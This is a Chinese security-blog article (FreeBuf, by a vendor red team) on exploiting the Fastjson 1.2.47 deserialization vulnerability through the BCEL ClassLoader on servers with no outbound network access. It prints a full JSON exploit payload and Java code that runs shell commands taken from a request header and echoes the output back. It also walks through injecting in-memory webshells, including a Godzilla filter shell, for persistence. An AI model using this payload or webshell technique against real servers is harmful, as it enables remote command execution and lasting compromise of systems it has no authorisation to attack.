freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

BCEL在Fastjson反序列化漏洞中的应用
2023-03-20 11:50:02
所属地 辽宁省

一、前言

Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。具有执行效率高的特点,应用范围广泛。
Fastjson自1.2.24版本存在反序列化命令执行漏洞,而Fastjson RCE的关键函数为DefaultJSONParser. parseObject()。简单来说,该函数解析传入的 json 字符串提取不同的 key 进行后续的处理TypeUtils. loadClass() 根据传入的类名,生成类的例JavaBeanDeserializer. Deserialze() 依次调用 @type 中传入类的对象公有set\get\is方法。攻击者经常会利用JdbcRowSetImpl类进行RCE,在调用com.sun.rowset.JdbcRowSetImpl.setAutoCommit()时触发lookup,向外部恶意服务发起JNDI请求,从而实现RCE。在实战环境中,这种利用方式非常常见,但由于目标主机需要出网的条件,面对不出网的环境就可以需要使用另一种利用方式-BCEL加载字节码实现Fastjson不出网环境漏洞利用。

二、BCEL类加载器简介

BCEL的全名是Apache Commons BCEL,属于Apache Commons项目下的一个子项目。BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。这个包中的类com.sun.org.apache.bcel.internal.util.ClassLoader,是一个ClassLoader,他重写了Java内置的ClassLoader#loadClass()方法。
BCEL Classloader在 JDK < 8u251之前是在rt.jar里面。loadClass()方法:
image.png
在loadClass()方法中,createClass()通过subString()截取$$BCEL$$后的字符串,并调用Utility.decode进行相应的解码并最终返回改字节码的bytes数组。之后生成Parser解析器并调用parse()方法进行解析,生成JavaClass对象。之后获取到了该JavaClass对象的bytes数组并调用java原生的defineClass()加载,从而实现类加载。
作为类加载器,可以用于加载系统、网络或者其他来源的类文件,所以BCEL类加载器在攻防领域中的应用包括Fuzz反序列化Gadget、Thymeleaf SSTI利用、Fastjson BCEL利用等,只要是采用BCEL类加载器加载用户传入数据的地方皆可成为被利用的攻击点。

三、Fastjson BCEL利用链分析

这里我们对Fastjson BCEL的利用链进行复现与分析,搭建的漏洞环境为Fastjson1.2.47,这里我们使用payload:

{
    "xx":
    {
        "@type" : "java.lang.Class",
        "val"   : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
    },
    "x" : {
        "name": {
            "@type" : "java.lang.Class",
            "val"   : "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        {
            "@type":"com.alibaba.fastjson.JSONObject",
            "c": {
                "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName":"$$BCEL$$evil_code"
            }
        } : "xxx"
    }
}

payload中的evil_code为恶意类编译之后的class文件再经过BCEL编码之后的字符串。
我们对漏洞触发的过程进行跟踪,传入payload之后经过一系列json字符串的解析后会触发反序列化漏洞,触发点的位置在com.alibaba.fastjson.util.FieldInfo,这里的javaObject是BasicDataSouce,method.invoke调用getter方法:
image.png
这里我们把目光移至BasicDataSource本身,首先调用的是getConnection方法,然后createDataSource:
image.png
最后进入createConnectionFactory,在最终触发点,其中driverClassName和driverClassLoader都是可控的,由用户输入,指定ClassLoader为:
com.sun.org.apache.bcel.internal.util.ClassLoader
image.png
这里设置driverClassName为BCEL编码后字符串的格式后,在newInstance方法执行后被实例化:
image.png
BCEL类加载后将会直接执行恶意类中的代码,可见这里的clazz为传入的可控类:
image.png
经过对该利用链分析可知,payload在经过解析之后,实现了执行传入任意可控的恶意类。

四、BCEL实战利用

4.1、不出网条件下命令执行回显

BCEL利用链是一个字节码的利用,无需目标额外开启配置选项,也不用连接外部服务器,利用条件较低,可以实现在不出网场景下回显利用。这里我们搭建的漏洞环境为Fastjson1.2.47,使用构造的命令执行回显类,主要的回显思路与代码如下:
首先获取request、response对象

Class c = Thread.currentThread().getContextClassLoader().
loadClass("org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c = Thread.currentThread().getContextClassLoader().
loadClass("org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getResponse");
Method m1 = c.getMethod("getRequest");
Object resp = m.invoke(o);
Object req = m1.invoke(o); 
Method getWriter = Thread.currentThread().getContextClassLoader().
loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
Method getHeader = Thread.currentThread().getContextClassLoader().
loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
getHeader.setAccessible(true);
getWriter.setAccessible(true);
Object writer = getWriter.invoke(resp);

然后获取请求头中cmd作为参数执行命令

String cmd = (String)getHeader.invoke(req, "cmd");
String[] commands = new String[3];
if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
    commands[0] = "cmd";
    commands[1] = "/c";
} else {
    commands[0] = "/bin/sh";
    commands[1] = "-c";
}
commands[2] = cmd;

最后将命令执行的结果输出至响应体

writer.getClass().getDeclaredMethod("println",String.class).invoke(writer,new Scanner(Runtime.getRuntime().exec(commands).getInputStream()).useDelimiter("\A").next());
writer.getClass().getDeclaredMethod("flush").invoke(writer);
writer.getClass().getDeclaredMethod("close").invoke(writer);

将其编译为class之后,再进行BCEL编码,并添加至fastjson的payload,命令执行回显如下:
image.png

4.2、内存马注入

由于在实际的攻防渗透实战中,除了需要在利用该漏洞实现不出网主机命令执行,还需要利用该漏洞注入内存马实现攻击持久化。我们先以注入一个普通的springboot interceptor内存马为例。
将恶意类编译为恶意class,进行BCEL编码之后,添加至fastjson的payload并发送至服务端:
image.png
这里我们可以随机输入路径,虽然应用中该路径并不存在对应路由,但我们注入内存马后利用恶意interceptor拦截请求,而恶意interceptor在拦截请求后会将pwd参数作为系统命令执行后,回显至响应体中,实现任意命令执行:
image.png
除了注入普通内存马,在某些场景下,我们还需要注入哥斯拉马或冰蝎马实现方便的文件管理及代理搭建等后渗透操作,这里我们以注入一个tomcat哥斯拉马为例,准备一个filter类哥斯拉马,将哥斯拉内存马的class生成字节类型字符串,然后编写一个filter注入类,注入哥斯拉内存马class,这里需要改造为仅依赖原生jdk包的代码形式,加载哥斯拉马字节码字符串的代码大致如下:
image.png
这里的流程即为常见的恶意Filter创建流程,不过同样改造为仅依赖原生jdk包的代码形式,利用 FilterDef 对 Filter 进行一个封装,将 FilterDef 添加到 FilterDefs 和 FilterConfig,创建 FilterMap ,将Filter 和 urlpattern 相对应,存放到 filterMaps中。将该java文件编译为恶意class,进行BCEL编码之后,添加至fastjson的payload并注入内存马:
image.png
这里利用payload,已经成功注入哥斯拉内存马,使用哥斯拉客户端可以成功连接:
image.png

五、总结

Fastjson反序列化漏洞的利用方式中,com.sun.rowset.JdbcRowSetImpl这一利用方式虽然最为常见,但主机出网这一先决条件条件,导致不出网场景成为Fastjson反序列化漏洞利用最大的困扰。BCEL利用链虽然存在jdk版本限制与相关依赖,但不用连接外部服务器的便利,完美的解决了不出网场景下利用困难的问题,而针对该利用方式下内存马的注入则增加了该场景下漏洞的持久化利用,让Fastjson反序列化漏洞攻击的利用场景得到了进一步的扩展。

六、参考链接

https://www.cnblogs.com/CoLo/p/15869871.html
https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html
https://github.com/depycode/fastjson-local-echo
https://github.com/skisw/fastjson-exp
https://github.com/hosch3n/msmap

承影战队

新华三承影战队,专注前沿攻击技术研究,研究方向包括web攻防、0day挖掘、红队工具开发等,长期招聘攻防研究员,简历投递:jiang.wenming@h3c.com (请注明来自FreeBuf)

# web安全 # 漏洞利用 # Fastjson反序列化漏洞 # 利用链
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录